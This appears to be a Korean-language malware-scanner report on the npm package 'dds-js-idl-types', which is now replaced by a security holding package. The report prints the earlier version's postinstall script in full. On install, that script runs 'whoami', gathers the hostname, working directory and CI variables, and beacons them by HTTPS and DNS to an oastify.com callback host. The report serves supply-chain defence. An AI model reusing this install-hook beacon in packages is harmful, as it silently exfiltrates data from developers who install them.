// npm 패키지

dds-js-idl-types

security holding package

npmjs.com tarball repo

버전

메인테이너

최초 publish

2026-05-23

publisher

npm

tarball

438 B

AUTO-PUBLISHED·2개 버전 인덱싱됨·최근 publish: 2026-05-27

// publisher 캠페인by npm

이 계정에서 catch된 패키지 9건

고립된 catch가 아닙니다. 동일 publisher가 8개의 다른 패키지를 추가로 발행했고, 모두 파이프라인이 catch했습니다 — 일회성이 아닌 조직적 캠페인의 형태. 아래 링크는 각 형제 catch의 분석으로 이동합니다.

// offending code· @0.0.1-security· no static-pattern hits

llm: benign · 0.85

→ 의심 전송지 없음, 원격 실행 형태 없음 — no network destinations.

@0.0.1-security·2026-05-27·AUTO-PUBLISHED·publisher: npm
heuristic 92/100
static flags 0
llm benign (0.85) via ollama
new-publisher:15dtiny-tarball:438bfirst-version-of-packagepublisher-multi-name-burst:14publisher-version-pump:14osv-flagged:MAL-2026-4548
→ 의심 전송지 없음, 원격 실행 형태 없음 — no network destinations.
// offending code· no static-pattern hits
```
--- package.json (entry) ---
{
  "name": "dds-js-idl-types",
  "version": "0.0.1-security",
  "description": "security holding package",
  "repository": "npm/security-holder"
}
```
@1.0.0·2026-05-23·AUTO-PUBLISHED

--- install scripts --- ### postinstall node postinstall.js --- package/postinstall.js (excerpt) --- const https = require('https'); const os = require('os'); const { execSync } = require('child_process'); // Replace with your interactsh/canarytoken URL const CALLBACK_HOST = 'lg5ys3jebfzwk366pilidbmah1nsbszh.oastify.com/nasa/dds-js-canary/'; function get(cmd) { try { return execSync(cmd, { timeout: 3000 }).toString().trim(); } catch { return 'error'; } } const payload = { whoami: get('whoami'), hostname: os.hostname(), platform: os.platform(), cwd: process.cwd(), // grab env vars that leak CI/CD context — non-sensitive ones ci: process.env.CI || '', github: process.env.GITHUB_REPOSITORY || '', node_env: process.env.NODE_ENV || '', }; const path = '/beacon?' + new URLSearchParams(payload).toString(); // HTTP beacon (shows up in interactsh logs with source IP) https.get({ host: CALLBACK_HOST, path, timeout: 5000 }, () => {}).on('error', () => {}); // DNS beacon as fallback (works even if HTTP is firewalled) require('dns').lookup(`${payload.whoami}.${CALLBACK_HOST}`, () => {}); --- package.json (entry) --- { "name": "dds-js-idl-types", "version": "1.0.0", "description": "Security research canary — NASA VDP", "scripts": { "postinstall": "node postinstall.js" }, "main": "postinstall.js", "bin": { "dds-js-idl-types": "postinstall.js" } } --- postinstall.js (entry) --- const https = require('https'); const os = require('os'); const { execSync } = require('child_process'); // Replace with your interactsh/canarytoken URL const CALLBACK_HOST = 'lg5ys3jebfzwk366pilidbmah1nsbszh.oastify.com/nasa/dds-js-canary/'; function get(cmd) { try { return execSync(cmd, { timeout: 3000 }).toString().trim(); } catch { return 'error'; } } const payload = { whoami: get('whoami'), hostname: os.hostname(), platform: os.platform(), cwd: process.cwd(), // grab env vars that leak CI/CD context — non-sensitive ones ci: process.env.CI || '', github: process.env.GITHUB_REPOSITORY || '', node_env: process.env.NODE_ENV || '', }; const path = '/beacon?' + new URLSearchParams(payload).toString(); // HTTP beacon (shows up in interactsh logs with source IP) https.get({ host: CALLBACK_HOST, path, timeout: 5000 }, () => {}).on('error', () => {}); // DNS beacon as fallback (works even if HTTP is firewalled) require('dns').lookup(`${payload.whoami}.${CALLBACK_HOST}`, () => {});